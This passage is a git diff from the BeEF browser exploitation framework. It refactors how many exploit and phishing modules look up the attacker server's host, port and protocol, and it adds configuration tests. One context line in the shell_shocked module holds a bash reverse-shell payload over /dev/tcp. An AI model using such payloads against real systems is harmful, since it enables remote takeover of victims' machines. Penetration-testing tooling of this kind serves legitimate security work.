       { 'name' => 'scheme', 'type' => 'combobox', 'ui_label' => 'HTTP(s)', 'store_type' => 'arraystore',
           'store_fields' => ['http'], 'store_data' => [['HTTP'],['HTTPS']],
diff --git a/modules/exploits/jenkins_groovy_code_exec/module.rb b/modules/exploits/jenkins_groovy_code_exec/module.rb
index 765fb6a0d..bb229b0f6 100644
--- a/modules/exploits/jenkins_groovy_code_exec/module.rb
+++ b/modules/exploits/jenkins_groovy_code_exec/module.rb
@@ -7,7 +7,7 @@ class Jenkins_groovy_code_exec < BeEF::Core::Command
 
   def self.options
     configuration = BeEF::Core::Configuration.instance
-    lhost = configuration.get("beef.http.public") || configuration.get("beef.http.host")
+    lhost = configuration.beef_host
     lhost = "" if lhost == "0.0.0.0"
     return [
       { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },
diff --git a/modules/exploits/local_host/java_payload/module.rb b/modules/exploits/local_host/java_payload/module.rb
index 549b9d533..fc8bc6323 100755
--- a/modules/exploits/local_host/java_payload/module.rb
+++ b/modules/exploits/local_host/java_payload/module.rb
@@ -11,7 +11,7 @@ class Java_payload < BeEF::Core::Command
 
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+    beef_host = @configuration.beef_host
     return [
         {'name' => 'conn', 'ui_label' => 'Payload', 'value' => 'ReverseTCP'},
         {'name' => 'cbHost', 'ui_label' => 'Connect Back to Host', 'value' => beef_host},
diff --git a/modules/exploits/local_host/signed_applet_dropper/module.rb b/modules/exploits/local_host/signed_applet_dropper/module.rb
index 89596a610..a75e6ee1f 100755
--- a/modules/exploits/local_host/signed_applet_dropper/module.rb
+++ b/modules/exploits/local_host/signed_applet_dropper/module.rb
@@ -14,7 +14,7 @@ class Signed_applet_dropper < BeEF::Core::Command
 
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+    beef_host = @configuration.beef_host
     return [
         {'name' => 'dropper_url', 'ui_label' => 'Dropper URL', 'value' => 'http://dropper_url/'},
         {'name' => 'applet_name', 'ui_label' => 'Applet name', 'value' => 'Oracle Secure Applet'},
diff --git a/modules/exploits/m0n0wall/module.rb b/modules/exploits/m0n0wall/module.rb
index 352c169bc..dc195590a 100644
--- a/modules/exploits/m0n0wall/module.rb
+++ b/modules/exploits/m0n0wall/module.rb
@@ -10,7 +10,7 @@ class Monowall_reverse_root_shell_csrf < BeEF::Core::Command
   
 	def self.options
                 @configuration = BeEF::Core::Configuration.instance
-                lhost = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+                lhost = @configuration.beef_host
 		lhost = "" if lhost == "0.0.0.0"
 		return [
 			{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.1.1'}, 
diff --git a/modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb b/modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb
index ff2daf1fd..5fd25b94c 100644
--- a/modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb
+++ b/modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb
@@ -10,7 +10,7 @@ class Freenas_reverse_root_shell_csrf < BeEF::Core::Command
   
 	def self.options
 		@configuration = BeEF::Core::Configuration.instance
-		lhost = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+		lhost = @configuration.beef_host
 		lhost = "" if lhost == "0.0.0.0"
 		return [
 			{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.1.1'}, 
diff --git a/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/module.rb b/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/module.rb
index cc746ac72..1b4ca82d4 100644
--- a/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/module.rb
+++ b/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/module.rb
@@ -7,7 +7,7 @@ class Pfsense_reverse_root_shell_csrf < BeEF::Core::Command
   
 	def self.options
                 @configuration = BeEF::Core::Configuration.instance
-                lhost = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+                lhost = @configuration.beef_host
 		lhost = "" if lhost == "0.0.0.0"
 		return [
 			{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.1.1'}, 
diff --git a/modules/exploits/rfi_scanner/module.rb b/modules/exploits/rfi_scanner/module.rb
index 6b343f3ce..9b8fce057 100644
--- a/modules/exploits/rfi_scanner/module.rb
+++ b/modules/exploits/rfi_scanner/module.rb
@@ -149,7 +149,7 @@ EOS
   
 	def self.options
 		configuration = BeEF::Core::Configuration.instance
-                lhost = configuration.get("beef.http.public") || configuration.get("beef.http.host")
+                lhost = configuration.beef_host
                 lhost = "" if lhost == "0.0.0.0"
 		return [
 			{ 'name' => 'rproto',
diff --git a/modules/exploits/router/wipg1000_cmd_injection/module.rb b/modules/exploits/router/wipg1000_cmd_injection/module.rb
index 119fc026b..a746a7541 100644
--- a/modules/exploits/router/wipg1000_cmd_injection/module.rb
+++ b/modules/exploits/router/wipg1000_cmd_injection/module.rb
@@ -7,7 +7,7 @@ class Wipg1000_cmd_injection < BeEF::Core::Command
   
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    lhost = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+    lhost = @configuration.beef_host
     lhost = '' if lhost.to_s.eql?('0.0.0.0')
 
     return [
diff --git a/modules/exploits/shell_shock_scanner/module.rb b/modules/exploits/shell_shock_scanner/module.rb
index ed360d08f..40106d276 100644
--- a/modules/exploits/shell_shock_scanner/module.rb
+++ b/modules/exploits/shell_shock_scanner/module.rb
@@ -7,7 +7,7 @@ class Shell_shock_scanner < BeEF::Core::Command
   
 	def self.options
 		configuration = BeEF::Core::Configuration.instance
-		lhost = configuration.get("beef.http.public") || configuration.get("beef.http.host")
+		lhost = configuration.beef_host
 		lhost = "" if lhost == "0.0.0.0"
 		return [
 			{ 'name' => 'method', 'ui_label' => 'HTTP Method',  'value' => 'GET' },
diff --git a/modules/exploits/shell_shocked/module.rb b/modules/exploits/shell_shocked/module.rb
index e8aeea54a..d6b1a90a1 100644
--- a/modules/exploits/shell_shocked/module.rb
+++ b/modules/exploits/shell_shocked/module.rb
@@ -7,7 +7,7 @@ class Shell_shocked < BeEF::Core::Command
 
   def self.options
     configuration = BeEF::Core::Configuration.instance
-    lhost = configuration.get("beef.http.public") || configuration.get("beef.http.host")
+    lhost = configuration.beef_host
     lhost = "LHOST" if lhost == "0.0.0.0"
     payload = "/bin/bash -i >& /dev/tcp/#{lhost}/LPORT 0>&1"
 
diff --git a/modules/exploits/vtiger_crm_upload_exploit/module.rb b/modules/exploits/vtiger_crm_upload_exploit/module.rb
index 295a27968..5de3c62e0 100644
--- a/modules/exploits/vtiger_crm_upload_exploit/module.rb
+++ b/modules/exploits/vtiger_crm_upload_exploit/module.rb
@@ -16,7 +16,7 @@ class Vtiger_crm_upload_exploit < BeEF::Core::Command
     end
 
     @configuration = BeEF::Core::Configuration.instance
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+    beef_host = @configuration.beef_host
     return [
           {'name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-vtiger.site','width'=>'400px'},
           {'name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/'+time.year.to_s()+'/'+time.strftime("%B")+'/week'+weekno.to_s()+'/','width'=>'400px'},
diff --git a/modules/exploits/wanem_command_execution/module.rb b/modules/exploits/wanem_command_execution/module.rb
index 790045613..b4ec44b73 100644
--- a/modules/exploits/wanem_command_execution/module.rb
+++ b/modules/exploits/wanem_command_execution/module.rb
@@ -10,7 +10,7 @@ class Wanem_command_execution < BeEF::Core::Command
 
 	def self.options
                 @configuration = BeEF::Core::Configuration.instance
-                lhost = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+                lhost = @configuration.beef_host
 		lhost = "" if lhost == "0.0.0.0"
 		return [
 			{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.1.1'}, 
diff --git a/modules/exploits/zenoss_3x_command_execution/module.rb b/modules/exploits/zenoss_3x_command_execution/module.rb
index 997055624..b706b3e6b 100644
--- a/modules/exploits/zenoss_3x_command_execution/module.rb
+++ b/modules/exploits/zenoss_3x_command_execution/module.rb
@@ -10,7 +10,7 @@ class Zenoss_command_execution < BeEF::Core::Command
 
 	def self.options
                 @configuration = BeEF::Core::Configuration.instance
-                lhost = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+                lhost = @configuration.beef_host
 		lhost = "" if lhost == "0.0.0.0"
 		return [
 			{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '127.0.0.1'},
diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/module.rb b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/module.rb
index 66979cf20..d51f83815 100644
--- a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/module.rb
+++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop/module.rb
@@ -6,7 +6,7 @@
 class Zeroshell_2_0rc2_reverse_shell_csrf_sop < BeEF::Core::Command
 	def self.options
                 @configuration = BeEF::Core::Configuration.instance
-                lhost = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+                lhost = @configuration.beef_host
 		lhost = "" if lhost == "0.0.0.0"
 		return [
 			{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1'}, 
diff --git a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/module.rb b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/module.rb
index 7ac815f22..848624504 100644
--- a/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/module.rb
+++ b/modules/exploits/zeroshell/zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass/module.rb
@@ -10,7 +10,7 @@ class Zeroshell_2_0rc2_reverse_shell_csrf_sop_bypass < BeEF::Core::Command
 	
 	def self.options
                 @configuration = BeEF::Core::Configuration.instance
-                lhost = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+                lhost = @configuration.beef_host
 		lhost = "" if lhost == "0.0.0.0"
 		return [
 			{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.1'}, 
diff --git a/modules/host/hook_microsoft_edge/module.rb b/modules/host/hook_microsoft_edge/module.rb
index dc5f44e4a..61490b4f4 100644
--- a/modules/host/hook_microsoft_edge/module.rb
+++ b/modules/host/hook_microsoft_edge/module.rb
@@ -6,11 +6,8 @@
 
 class Hook_microsoft_edge < BeEF::Core::Command
   def self.options
-    @configuration = BeEF::Core::Configuration.instance
-    proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-    beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
-    hook_uri = "#{proto}://#{beef_host}:#{beef_port}/demos/plain.html"
+    configuration = BeEF::Core::Configuration.instance
+    hook_uri = "#{configuration.beef_url_str}/demos/plain.html"
 
     return [
       {'name' => 'url', 'ui_label'=>'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri },
diff --git a/modules/ipec/dns_tunnel/module.rb b/modules/ipec/dns_tunnel/module.rb
index e68eed21a..a8720316c 100644
--- a/modules/ipec/dns_tunnel/module.rb
+++ b/modules/ipec/dns_tunnel/module.rb
@@ -7,7 +7,7 @@ class Dns_tunnel < BeEF::Core::Command
   
   def self.options
 	@configuration = BeEF::Core::Configuration.instance
-	beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+	beef_host = @configuration.beef_host
 
     return [
         {'name' => 'domain', 'ui_label'=>'Domain', 'type' => 'text', 'width' => '400px', 'value' => beef_host },
diff --git a/modules/network/nat_pinning_irc/module.rb b/modules/network/nat_pinning_irc/module.rb
index eec64b21e..a5b571b42 100644
--- a/modules/network/nat_pinning_irc/module.rb
+++ b/modules/network/nat_pinning_irc/module.rb
@@ -11,7 +11,7 @@ class Irc_nat_pinning < BeEF::Core::Command
 
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+    beef_host = @configuration.beef_host
 
     return [
         {'name'=>'connectto', 'ui_label' =>'Connect to','value'=>beef_host},
diff --git a/modules/phonegap/phonegap_persistence/module.rb b/modules/phonegap/phonegap_persistence/module.rb
index 0632244f8..783147cac 100644
--- a/modules/phonegap/phonegap_persistence/module.rb
+++ b/modules/phonegap/phonegap_persistence/module.rb
@@ -11,10 +11,10 @@ class Phonegap_persistence < BeEF::Core::Command
   def self.options
 
     @configuration = BeEF::Core::Configuration.instance
-    proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-    beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
-    hook_file = @configuration.get("beef.http.hook_file")
+    proto = @configuration.beef_proto
+    beef_host = @configuration.beef_host
+    beef_port = @configuration.beef_port
+    hook_file = @configuration.hook_file_path
 
     return [{
       'name' => 'hook_url',
diff --git a/modules/social_engineering/clickjacking/module.rb b/modules/social_engineering/clickjacking/module.rb
index 33b8c6515..c0ae25834 100644
--- a/modules/social_engineering/clickjacking/module.rb
+++ b/modules/social_engineering/clickjacking/module.rb
@@ -8,9 +8,9 @@ class Clickjacking < BeEF::Core::Command
 
 	def self.options
     		@configuration = BeEF::Core::Configuration.instance
-    		proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
-    		beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-    		beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
+    		proto = @configuration.beef_proto
+    		beef_host = @configuration.beef_host
+    		beef_port = @configuration.beef_port
     		base_host = "#{proto}://#{beef_host}:#{beef_port}"
 
 		uri = "#{base_host}/demos/clickjacking/clickjack_victim.html"
diff --git a/modules/social_engineering/clippy/module.rb b/modules/social_engineering/clippy/module.rb
index 841fa6b44..e9d7023a0 100755
--- a/modules/social_engineering/clippy/module.rb
+++ b/modules/social_engineering/clippy/module.rb
@@ -14,9 +14,9 @@ class Clippy < BeEF::Core::Command
   
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-    beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
+    proto = @configuration.beef_proto
+    beef_host = @configuration.beef_host
+    beef_port = @configuration.beef_port
     base_host = "#{proto}://#{beef_host}:#{beef_port}"
 
     return [
diff --git a/modules/social_engineering/fake_flash_update/module.rb b/modules/social_engineering/fake_flash_update/module.rb
index 0cfd07791..b1dda8cac 100755
--- a/modules/social_engineering/fake_flash_update/module.rb
+++ b/modules/social_engineering/fake_flash_update/module.rb
@@ -13,9 +13,9 @@ class Fake_flash_update < BeEF::Core::Command
   
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-    beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
+    proto = @configuration.beef_proto
+    beef_host = @configuration.beef_host
+    beef_port = @configuration.beef_port
     base_host = "#{proto}://#{beef_host}:#{beef_port}"
     
     image = "#{base_host}/adobe/flash_update.png"
diff --git a/modules/social_engineering/fake_notification_c/module.rb b/modules/social_engineering/fake_notification_c/module.rb
index e5a1858b3..75efb68ed 100644
--- a/modules/social_engineering/fake_notification_c/module.rb
+++ b/modules/social_engineering/fake_notification_c/module.rb
@@ -7,9 +7,9 @@ class Fake_notification_c < BeEF::Core::Command
 
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-    beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
+    proto = @configuration.beef_proto
+    beef_host = @configuration.beef_host
+    beef_port = @configuration.beef_port
     base_host = "#{proto}://#{beef_host}:#{beef_port}"
 
     return [
diff --git a/modules/social_engineering/fake_notification_ff/module.rb b/modules/social_engineering/fake_notification_ff/module.rb
index 793797376..2bba4fecc 100644
--- a/modules/social_engineering/fake_notification_ff/module.rb
+++ b/modules/social_engineering/fake_notification_ff/module.rb
@@ -7,9 +7,9 @@ class Fake_notification_ff < BeEF::Core::Command
 
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
+    proto = @configuration.beef_proto
     beef_host = @configuration.get("beef.http.public")      || @configuration.get("beef.http.host")
-    beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
+    beef_port = @configuration.beef_port
     url = "#{proto}://#{beef_host}:#{beef_port}/api/ipec/ff_extension"
     return [
       {'name' => 'url', 'ui_label' => 'Plugin URL', 'value' => url, 'width'=>'150px'},
diff --git a/modules/social_engineering/fake_notification_ie/module.rb b/modules/social_engineering/fake_notification_ie/module.rb
index 32f8c2f41..7024a7cf1 100644
--- a/modules/social_engineering/fake_notification_ie/module.rb
+++ b/modules/social_engineering/fake_notification_ie/module.rb
@@ -7,9 +7,9 @@ class Fake_notification_ie < BeEF::Core::Command
 
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-    beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
+    proto = @configuration.beef_proto
+    beef_host = @configuration.beef_host
+    beef_port = @configuration.beef_port
     base_host = "#{proto}://#{beef_host}:#{beef_port}"
 
     return [
diff --git a/modules/social_engineering/firefox_extension_bindshell/module.rb b/modules/social_engineering/firefox_extension_bindshell/module.rb
index b7c081d14..28a01ae18 100644
--- a/modules/social_engineering/firefox_extension_bindshell/module.rb
+++ b/modules/social_engineering/firefox_extension_bindshell/module.rb
@@ -72,7 +72,7 @@ class Firefox_extension_bindshell < BeEF::Core::Command
 
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+    beef_host = @configuration.beef_host
     return [
         {'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements'},
         {'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements'},
diff --git a/modules/social_engineering/firefox_extension_dropper/module.rb b/modules/social_engineering/firefox_extension_dropper/module.rb
index cf1dac707..7b2ff40ec 100644
--- a/modules/social_engineering/firefox_extension_dropper/module.rb
+++ b/modules/social_engineering/firefox_extension_dropper/module.rb
@@ -82,9 +82,9 @@ class Firefox_extension_dropper < BeEF::Core::Command
 
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-    beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
+    proto = @configuration.beef_proto
+    beef_host = @configuration.beef_host
+    beef_port = @configuration.beef_port
     base_host = "#{proto}://#{beef_host}:#{beef_port}"
     return [
         {'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements'},
diff --git a/modules/social_engineering/firefox_extension_reverse_shell/module.rb b/modules/social_engineering/firefox_extension_reverse_shell/module.rb
index d3097d7e0..3d3bce7bd 100644
--- a/modules/social_engineering/firefox_extension_reverse_shell/module.rb
+++ b/modules/social_engineering/firefox_extension_reverse_shell/module.rb
@@ -75,7 +75,7 @@ class Firefox_extension_reverse_shell < BeEF::Core::Command
 
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+    beef_host = @configuration.beef_host
     return [
         {'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements'},
         {'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements'},
diff --git a/modules/social_engineering/gmail_phishing/module.rb b/modules/social_engineering/gmail_phishing/module.rb
index 49d4e427f..488bc83da 100644
--- a/modules/social_engineering/gmail_phishing/module.rb
+++ b/modules/social_engineering/gmail_phishing/module.rb
@@ -7,9 +7,9 @@ class Gmail_phishing < BeEF::Core::Command
 
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-    beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
+    proto = @configuration.beef_proto
+    beef_host = @configuration.beef_host
+    beef_port = @configuration.beef_port
     base_host = "#{proto}://#{beef_host}:#{beef_port}"
 
      xss_hook_url = "#{base_host}/demos/basic.html"
diff --git a/modules/social_engineering/hta_powershell/module.rb b/modules/social_engineering/hta_powershell/module.rb
index 0ae4865d8..bd3fd72a6 100755
--- a/modules/social_engineering/hta_powershell/module.rb
+++ b/modules/social_engineering/hta_powershell/module.rb
@@ -4,25 +4,17 @@
 # See the file 'doc/COPYING' for copying permission
 #
 class Hta_powershell < BeEF::Core::Command
-
   def self.options
+    @config = BeEF::Core::Configuration.instance
+    ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url')
 
-    @configuration = BeEF::Core::Configuration.instance
-    proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-    beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
-    base_host = "#{proto}://#{beef_host}:#{beef_port}"
-
-    ps_url = @configuration.get('beef.extension.social_engineering.powershell.powershell_handler_url')
-
-    return [
-        {'name' => 'domain', 'ui_label' => 'Serving Domain (BeEF server)', 'value' => "#{base_host}" },
-        {'name' => 'ps_url', 'ui_label' => 'Powershell/HTA handler', 'value' => "#{ps_url}"}
+    [
+      { 'name' => 'domain', 'ui_label' => 'Serving Domain (BeEF server)', 'value' => @configuration.beef_url_str },
+      { 'name' => 'ps_url', 'ui_label' => 'Powershell/HTA handler', 'value' => ps_url }
     ]
   end
 
   def post_execute
-    save({'result' => @datastore['result']})
+    save({ 'result' => @datastore['result'] })
   end
-
 end
diff --git a/modules/social_engineering/pretty_theft/module.rb b/modules/social_engineering/pretty_theft/module.rb
index cb3cd1a89..148989666 100644
--- a/modules/social_engineering/pretty_theft/module.rb
+++ b/modules/social_engineering/pretty_theft/module.rb
@@ -7,9 +7,9 @@ class Pretty_theft < BeEF::Core::Command
   
   def self.options
     @configuration = BeEF::Core::Configuration.instance
-    proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
-    beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
-    beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
+    proto = @configuration.beef_proto
+    beef_host = @configuration.beef_host
+    beef_port = @configuration.beef_port
     base_host = "#{proto}://#{beef_host}:#{beef_port}"
     logo_uri = "#{base_host}/ui/media/images/beef.png"
     return [
diff --git a/modules/social_engineering/replace_video_fake_plugin/module.rb b/modules/social_engineering/replace_video_fake_plugin/module.rb
index d1240f590..c2fb8ef32 100644
--- a/modules/social_engineering/replace_video_fake_plugin/module.rb
+++ b/modules/social_engineering/replace_video_fake_plugin/module.rb
@@ -7,9 +7,9 @@ class Replace_video_fake_plugin < BeEF::Core::Command
 
   def self.options
     configuration = BeEF::Core::Configuration.instance
-    proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
-    beef_host = configuration.get("beef.http.public")      || configuration.get("beef.http.host")
-    beef_port = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
+    proto = configuration.beef_proto
+    beef_host = configuration.beef_host
+    beef_port = configuration.beef_port
     url = "#{proto}://#{beef_host}:#{beef_port}"
     return [
         {'name' => 'url', 'ui_label' => 'Plugin URL', 'value' => url+'/api/ipec/ff_extension', 'width'=>'150px'},
diff --git a/package-lock.json b/package-lock.json
index deaeb81bd..298ab3e4c 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -1,5 +1,5 @@
 {
   "name": "BeEF",
-  "version": "0.5.1.0",
+  "version": "0.5.2.0",
   "lockfileVersion": 1
 }
diff --git a/package.json b/package.json
index a7ed079af..5edd81729 100644
--- a/package.json
+++ b/package.json
@@ -1,6 +1,6 @@
 {
     "name": "BeEF",
-    "version": "0.5.1.0",
+    "version": "0.5.2.0",
     "description": "The Browser Exploitation Framework Project",
     "scripts": {
         "docs": "./node_modules/.bin/jsdoc -c conf.json"
@@ -9,7 +9,7 @@
     "license": "GNU General Public License v2.0",
     "devDependencies": {
         "jsdoc": "^3.6.4",
-        "jsdoc-to-markdown": "^6.0.1"
+        "jsdoc-to-markdown": "^7.0.1"
     },
     "dependencies": {}
 }
diff --git a/spec/beef/core/main/command_spec.rb b/spec/beef/core/main/command_spec.rb
new file mode 100644
index 000000000..39953bc7c
--- /dev/null
+++ b/spec/beef/core/main/command_spec.rb
@@ -0,0 +1,10 @@
+RSpec.describe 'BeEF Command class testing' do
+  it 'should return a beef configuration variable' do
+    BeEF::Modules.load
+    command_mock = BeEF::Core::Command.new('test_get_variable')
+    expect(command_mock.config.beef_host).to eq('0.0.0.0')
+    require 'modules/browser/hooked_domain/get_page_links/module'
+    gpl = Get_page_links.new('test_get_variable')
+    expect(gpl.config.beef_host).to eq('0.0.0.0')
+  end
+end
diff --git a/spec/beef/core/main/configuration_spec.rb b/spec/beef/core/main/configuration_spec.rb
new file mode 100644
index 000000000..a96240591
--- /dev/null
+++ b/spec/beef/core/main/configuration_spec.rb
@@ -0,0 +1,257 @@
+RSpec.configure do |config|
+  config.before(:context, :type => :old ) do
+    config = File.expand_path('../../../support/assets/config_old.yaml', __dir__)
+    @config_instance = BeEF::Core::Configuration.new(config)
+  end
+  
+  config.before(:context) do
+    config = File.expand_path('../../../support/assets/config_new.yaml', __dir__)
+    @config_instance = BeEF::Core::Configuration.new(config)
+  end
+end
+
+RSpec.describe 'BeEF Configuration' do
+  context 'configuration validation', :type => :old do
+    it 'should error when using hold public config' do
+      @config_instance.set('beef.http.public', 'example.com')
+      expect(@config_instance.validate).to eq(nil)
+    end
+
+    it 'should error when using old public_port config' do
+      @config_instance.set('beef.http.public_port', 443)
+      expect(@config_instance.validate).to eq(nil)
+    end
+
+  end
+
+  context 'http local host configuration values' do
+    it 'should set the local host value to 0.0.0.0' do
+      @config_instance.set('beef.http.host', '0.0.0.0')
+      expect(@config_instance.get('beef.http.host')).to eq('0.0.0.0')
+    end
+
+    it 'should get the local host value' do
+      @config_instance.set('beef.http.host', '0.0.0.0')
+      expect(@config_instance.local_host).to eq('0.0.0.0')
+    end
+
+    it 'should get the default host value' do
+      @config_instance.set('beef.http.host', nil)
+      expect(@config_instance.get('beef.http.host')).to eq(nil)
+      expect(@config_instance.local_host).to eq('0.0.0.0')
+    end
+  end
+
+  context 'http local port configuration values' do
+    it 'should set the local port value to 3000' do
+      @config_instance.set('beef.http.port', '3000')
+      expect(@config_instance.get('beef.http.port')).to eq('3000')
+    end
+
+    it 'should get the local port value' do
+      @config_instance.set('beef.http.port', '3000')
+      expect(@config_instance.local_port).to eq('3000')
+    end
+
+    it 'should get the default port value' do
+      @config_instance.set('beef.http.port', nil)
+      expect(@config_instance.get('beef.http.port')).to eq(nil)
+      expect(@config_instance.local_port).to eq('3000')
+    end
+  end
+
+  context 'beef https enabled configuration values' do
+    it 'should set the https enabled config value' do
+      @config_instance.set('beef.http.https.enable', true)
+      expect(@config_instance.get('beef.http.https.enable')).to eq(true)
+    end
+
+    it 'should get https enabled value set to true' do
+      @config_instance.set('beef.http.https.enable', true)
+      expect(@config_instance.local_https_enabled).to eq(true)
+    end
+
+    it 'should get https enabled value set to false' do
+      @config_instance.set('beef.http.https.enable', false)
+      expect(@config_instance.local_https_enabled).to eq(false)
+    end
+
+    it 'should get the default https enabled value' do
+      @config_instance.set('beef.http.https.enable', nil)
+      expect(@config_instance.get('beef.http.https.enable')).to eq(nil)
+      expect(@config_instance.local_https_enabled).to eq(false)
+    end
+  end
+
+  #public
+  context 'http public host configuration values' do
+    it 'should set the public host value to example.com' do
+      @config_instance.set('beef.http.public.host', 'example.com')
+      expect(@config_instance.get('beef.http.public.host')).to eq('example.com')
+    end
+
+    it 'should get the public host value' do
+      @config_instance.set('beef.http.public.host', 'example.com')
+      expect(@config_instance.public_host).to eq('example.com')
+    end
+
+    it 'should get nil host value' do
+      @config_instance.set('beef.http.public.host', nil)
+      expect(@config_instance.get('beef.http.public.host')).to eq(nil)
+      expect(@config_instance.public_host).to eq(nil)
+    end
+  end
+
+  context 'http public port configuration values' do
+    it 'should set the public port value to 3000' do
+      @config_instance.set('beef.http.public.port', '443')
+      expect(@config_instance.get('beef.http.public.port')).to eq('443')
+    end
+
+    it 'should get the public port value' do
+      @config_instance.set('beef.http.public.port', '3000')
+      expect(@config_instance.public_port).to eq('3000')
+    end
+
+    it 'should return 80 as the port given a public host has been set and https disabled' do
+      @config_instance.set('beef.http.public.port', nil)
+      @config_instance.set('beef.http.public.host', 'example.com')
+      @config_instance.set('beef.http.public.https', false)
+      expect(@config_instance.get('beef.http.public.port')).to eq(nil)
